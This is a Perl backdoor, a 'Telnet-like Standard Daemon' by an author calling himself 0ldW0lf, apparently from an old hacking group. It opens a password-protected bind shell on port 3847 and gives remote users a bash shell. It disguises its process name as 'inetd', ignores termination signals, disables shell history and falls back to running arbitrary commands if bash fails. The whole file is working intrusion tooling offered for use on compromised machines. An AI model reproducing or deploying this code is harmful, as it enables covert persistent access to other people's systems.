# Telnet-like Standard Daemon 0.7 # # 0ldW0lf - oldwolf@atrixteam.net # - old-wolf@zipmai.com # - www.atrix.cjb.net # - www.atrixteam.net # # For those guys that still like to open ports # and use non-rooted boxes # # This has been developed to join in the TocToc # project code, now it's done and I'm distributing # this separated # # This one i made without IO::Pty so it uses # only standard modules... enjoy it # # tested on linux boxes.. probably will work fine on others # any problem... #atrix@irc.brasnet.org # ########################################################## # ******************* CONFIGURATION ******************** # ########################################################## my $PORT = $ARGV[0] || 3847; # default port is 3847 my $PASS = 'ouhEUhhJ6RbwE'; # encripted password my $SHELL = "/bin/bash"; # shell to be executed my $HOME = "/tmp"; # your HOME my $PROC = "inetd"; # name of the process my $PASS_PROMPT = "Password: "; # password prompt my $WRONG_PASS = "Password Errata!"; # "wrong password" message my @STTY = ('sane', 'dec'); # stty arguments ########################################################## # feel free to change the ENV #### ENVironment #### $ENV{HOME} = $HOME; #$ENV{PS1} = '[\u@\h \W]: '; # the way i like :) # colorful PS1 is also funny :) $ENV{PS1} = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] '; $ENV{MAIL} = '/var/mail/root'; $ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin'; $ENV{HISTFILE} = '/dev/null'; $ENV{USER} = 'root'; $ENV{LOGNAME} = 'root'; $ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0'; $ENV{LS_COLORS} = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov=01;37:'; $ENV{SHELL} = $SHELL; $ENV{TERM} = 'xterm'; ##################### $0=$PROC."\0"; use IO::Socket; use IO::Select; use POSIX; use strict; # i wouldn't change that # if i were you ###### SIGnals ###### $SIG{HUP} = 'IGNORE'; $SIG{PS} = 'IGNORE'; $SIG{TERM} = 'IGNORE'; $SIG{CHLD} = sub { wait; }; ##################### # ioctl stuff my %IOCTLDEF; $IOCTLDEF{TIOCSWINSZ} = 0x5414; $IOCTLDEF{TIOCNOTTY} = 0x5422; $IOCTLDEF{TIOCSCTTY} = 0x540E; safeload('sys/ttycom.ph', 1); # BSD safeload('sys/ioctl.ph', 1); safeload('asm/ioctls.ph', 1); foreach my $IOCTL (keys(%IOCTLDEF)) { next if (defined(&{$IOCTL})); if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linux while(<IOD>) { if (/^\#define\s+$IOCTL\s+(.*?)\n$/) { eval "sub $IOCTL () {$1;}"; last; } } close(IOD); } # i realy dunno if i can do that.. but.. here it goes eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL})); } # starting... $PORT = $ARGV[0] if ($ARGV[0]); chdir('/'); no strict 'refs'; my $bindfd = *{'bind_sock'}; *{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!"; my $bind = \*{$bindfd}; my $pid = fork(); die "ERROR: I could not fork() the process." unless defined($pid); exit if $pid; my %CLIENT; my $sel_serv = IO::Select->new($bind); my $sel_shell = IO::Select->new(); # main loop... while ( 1 ) { select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0); read_clients(); read_shells(); } sub read_clients { map { read_client($_) } ($sel_serv->can_read(0.01)); } sub read_client { my $fh = shift; if ($fh eq $bind) { my $newcon = $bind->accept; $sel_serv->add($newcon); $CLIENT{$newcon}->{senha} = 0; $CLIENT{$newcon}->{sock} = $newcon; $fh->autoflush(1); do_client($newcon, '3', '5', '1'); sleep(1); write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT); } else { my $msg; my $nread = sysread($fh, $msg, 1024); if ($nread == 0) { close_client($fh); } else { telnet_parse($fh, $msg); } } } sub read_shells { map { read_shell($_) } ($sel_shell->can_read(0.01)); } sub telnet_parse { my ($cli, $msg) = @_; my $char = (split('', $msg))[0]; if (ord($char) == 255) { chr_parse($cli, $msg); } else { if ($CLIENT{$cli}->{senha} == 0) { $CLIENT{$cli}->{buf} .= $msg; return() unless ($msg =~ /\r|\n/); my $pass = $CLIENT{$cli}->{buf}; $CLIENT{$cli}->{buf} = ''; $pass =~ s/\n//g; $pass =~ s/\0//g; $pass =~ s/\r//g; if (crypt($pass, $PASS) ne $PASS) { finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r"); } else { $CLIENT{$cli}->{senha} = 1; write_client($cli, chr(255).chr(253).chr(31)); write_client($cli, "\r\n\r\r\n\r"); new_shell($cli); } return(); } $msg =~ s/\r\n\0\0//g; $msg =~ s/\0//g; $msg =~ s/\r\n/\n/g; write_shell($cli, $msg); } } sub read_shell { my $shell = shift; my $cli; map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT); my $msg; my $nread = sysread($shell, $msg, 1024); if ($nread == 0) { finish_client($cli, "Terminal closed.\r\n\r"); } else { write_client($cli, $msg); } } sub to_chr { my $chrs = ''; map { $chrs .= chr($_) } (split(/ +/, shift)); return($chrs); } sub do_client { my ($client, @codes) = @_; map { write_client($client, chr(255).chr(251).chr($_)) } @codes; } sub chr_parse { my ($client, $chrs) = @_; my $ords = ''; map { $ords .= ord($_).' ' } (split(//, $chrs)); my $msg = ''; if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) { my $winsize = pack('C4', $4, $3, $2, $1); ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!"; } foreach my $code (split("255 ", $ords)) { if ($code =~ /(\d+) (.*)$/) { my $codes = $2; if ($1 == 251) { # do whatever you want dude ehehe $msg .= chr(255).chr(253); map { $msg .= chr($_) } (split(/ +/, $codes)); } } } write_client($client, $msg) if ($msg); return(1); } sub new_shell { my $cli = shift; POSIX::setpgid(0, 0); my ($tty, $pty); unless (($tty, $pty) = open_tty($cli)) { finish_client($cli, "ERROR: No more pty�s avaliable\n"); return(undef); } my $pid = fork(); if (not defined($pid)) { finish_client($cli, "ERROR: fork()\n"); return(undef); } unless($pid) { close($pty); local(*DEVTTY); if (open (DEVTTY, "/dev/tty")) { ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!"; close(DEVTTY); } POSIX::setsid(); ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!"; open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!"; open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!"; open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!"; close($tty); sleep(1); foreach my $stty ("/bin/stty", "/usr/bin/stty") { next unless (-x $stty); map { system("$stty", $_) } @STTY; } chdir("$HOME"); { exec("$SHELL") }; syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n"); syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n"); syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# "); while (my $msg = <STDIN>) { $msg =~ s/\n$//; $msg =~ s/\r$//; if ($msg =~ /^\s*cd\s+(\S+)/) { my $notf = "directory $1 not found!\n"; chdir($1) || syswrite(STDOUT, $notf, length($notf)); } else { system("$msg 2>&1"); } syswrite(STDOUT, "I'm FuCKeD!# "); } exit; } close($tty); select($pty); $| = 1; select(STDOUT); set_raw($pty); $CLIENT{$cli}->{shell} = $pty; $sel_shell->add($pty); return(1); } # Funciton set_raw() stolen from IO::Pty sub set_raw($) { my $self = shift; return 1 if not POSIX::isatty($self); my $ttyno = fileno($self); my $termios = new POSIX::Termios; unless ($termios) { # warn "set_raw: new POSIX::Termios failed: $!"; return undef; } unless ($termios->getattr($ttyno)) { # warn "set_raw: getattr($ttyno) failed: $!"; return undef; } $termios->setiflag(0); $termios->setoflag(0); $termios->setlflag(0); $termios->setcc(&POSIX::VMIN, 1); $termios->setcc(&POSIX::VTIME, 0); unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) { # warn "set_raw: setattr($ttyno) failed: $!"; return undef; } return 1; } sub open_tty { no strict; my $cli = shift; my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/ for (my $i = 0; $i < 256; $i++) { my $pty = get_tty($i, "/dev/pty"); next unless (open($PTY, "+> $pty")); my $tty = get_tty($i, "/dev/tty"); unless(open($TTY, "+> $tty")) { close($PTY); next; } return($TTY, $PTY); } return(); } sub get_tty { my ($num, $base) = @_; my @series = ('p' .. 'z', 'a' .. 'e'); my @subs = ('0' .. '9', 'a' .. 'f'); my $buf = $base; $buf .= @series[($num >> 4) & 0xF]; $buf .= @subs[$num & 0xF]; return($buf); } sub safeload { my ($module, $require, $arg) = @_; my $file = $module; $file =~ s/::/\//g; if ($require) { # all found gonna be loaded map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC; } else { $file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/); return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC); } return(); } sub write_shell { my ($cli, $msg) = @_; my $shell = $CLIENT{$cli}->{shell}; return(undef) unless ($shell); foreach my $m (split_chars($msg, 20)) { read_shells(); print $shell $m; read_shells(); } return(1); } sub split_chars { my ($msg, $nchars) = @_; my @splited; my @chrs = split ('', $msg); my $done = 0; while ( 1 ) { my $splited = join('', @chrs[$done .. ($done+$nchars-1)]); $done += $nchars; last if (length($splited) < 1); push(@splited, $splited); } return(@splited); } sub finish_client { my ($cli, $msg) = @_; write_client($cli, $msg); close_client($cli); } sub close_client { my $cli = shift; my $sock = $CLIENT{$cli}->{sock}; $sel_serv->remove($sock); if ($CLIENT{$cli}->{shell}) { my $shell = $CLIENT{$cli}->{shell}; $sel_shell->remove($shell); close($shell); } $sock->close() if($sock); delete($CLIENT{$cli}); } sub write_client { my ($cli, $msg) = @_; my $sock = $CLIENT{$cli}->{sock}; syswrite($sock, $msg, length($msg)) if ($sock); }